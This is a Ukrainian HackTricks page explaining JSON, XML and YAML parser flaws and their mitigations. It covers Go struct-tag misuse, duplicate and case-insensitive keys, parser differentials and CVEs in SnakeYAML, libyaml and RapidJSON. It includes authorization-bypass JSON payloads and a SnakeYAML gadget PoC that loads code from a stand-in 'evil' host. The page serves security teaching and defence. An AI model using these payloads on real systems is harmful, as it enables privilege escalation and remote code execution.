JSON, XML & Yaml Hacking & Проблеми
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Декодер JSON у Go
Було виявлено наступні проблеми в парсері JSON у Go, хоча вони можуть бути присутні й в інших мовах. Ці проблеми були опубліковані в this blog post.
Парсери JSON, XML і YAML у Go мають довгу низку невідповідностей і небезпечних налаштувань за замовчуванням, які можна зловживати для bypass authentication, escalate privileges, або exfiltrate sensitive data.
(Un)Marshaling Unexpected Data
Мета — експлуатувати structs, які дозволяють нападнику читати/записувати чутливі поля (наприклад, IsAdmin, Password).
- Приклад Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Поширені вразливості
- Відсутній tag (без tag = field все ще обробляється за замовчуванням):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Некоректне використання
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Правильний спосіб заблокувати поле від (де)маршалінгу:
type User struct {
IsAdmin bool `json:"-"`
}
Відмінності парсерів
Мета — обхід авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же payload, наприклад:
- CVE-2017-12635: Apache CouchDB обхід через дубліковані ключі
- 2022: Zoom 0-click RCE через розбіжності в XML-парсерах
- GitLab 2025 SAML обхід через особливості XML
1. Дубліковані поля:
Go’s encoding/json бере останнє поле.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Інші парсери (наприклад, Java’s Jackson) можуть взяти перший.
2. Нечутливість до регістру: Go нечутливий до регістру:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Навіть трюки з Unicode працюють:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Cross-service mismatch: Уявімо:
- Proxy, написаний на Go
- AuthZ service, написаний на Python
Attacker sends:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python бачить
UserAction, дозволяє його - Go бачить
AdminAction, виконує його
Data Format Confusion (Polyglots)
Мета — експлуатувати системи, які змішують формати (JSON/XML/YAML) або не блокують доступ при помилках парсера, наприклад:
- CVE-2020-16250: HashiCorp Vault parsed JSON with an XML parser after STS returned JSON instead of XML.
Атакуючий контролює:
- заголовок
Accept: application/json - Частковий контроль тіла JSON
XML-парсер Go розпарсив його все одно і довірився ін’єкованій ідентичності.
- Crafted payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Результат:
- Go JSON parser:
Action_2(case-insensitive + last wins) - YAML parser:
Action_1(case-sensitive) - XML parser: parses
"Action_3"inside the string
Помітні вразливості парсерів (2023-2025)
Наведені далі вразливості з публічно доступними експлойтами показують, що небезпечний парсинг — це багатомовна проблема, а не лише проблема Go.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Вражає:
org.yaml:snakeyaml< 2.0 (використовується в Spring-Boot, Jenkins тощо). - Основна причина:
new Constructor()десеріалізує довільні Java-класи, що дозволяє gadget chains, які призводять до remote-code execution. - Однорядковий PoC (відкриє калькулятор на вразливому хості):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Виправлення / Мітігація:
- Upgrade to ≥2.0 (uses
SafeLoaderby default). - У старіших версіях явно використовуйте
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Стосується:
libyaml≤0.2.5 (C-бібліотека, яку використовують численні прив’язки для мов). - Проблема: виклик
yaml_event_delete()двічі призводить до double-free, який зловмисники можуть перетворити на DoS або, в деяких сценаріях, heap exploitation. - Статус: Upstream відхилив як “API misuse”, але дистрибутиви Linux випустили патчовану версію 0.2.6, яка обнуляє вказівник після звільнення пам’яті.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Стосується: Tencent RapidJSON до коміту
8269bc2(<1.1.0-patch-22). - Баг: у
GenericReader::ParseNumber()неналежні арифметичні перевірки дозволяють зловмисникам сформувати величезні числові літерали, які обертаються й пошкоджують heap — врешті-решт це дозволяє підвищення привілеїв, коли отриманий граф об’єктів використовується для рішень щодо авторизації.
🔐 Mitigations (Updated)
| Ризик | Виправлення / Рекомендація |
|---|---|
| Невідомі поля (JSON) | decoder.DisallowUnknownFields() |
| Дублікати полів (JSON) | ❌ В stdlib немає виправлення — перевіряйте за допомогою jsoncheck |
| Нечутливе до регістру зіставлення (Go) | ❌ Виправлення немає — перевіряйте struct tags + попередньо канонізуйте вхідні дані |
| XML сміттєві дані / XXE | Використовуйте захищений парсер (encoding/xml + DisallowDTD) |
| Невідомі ключі YAML | yaml.KnownFields(true) |
| Unsafe YAML deserialization | Використовуйте SafeConstructor / оновіть до SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Оновіть до 0.2.6 або випуску, пропатченого дистрибутивом |
| RapidJSON <patched commit | Скомпілюйте з останньою версією RapidJSON (≥липень 2024) |
Див. також
Посилання
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

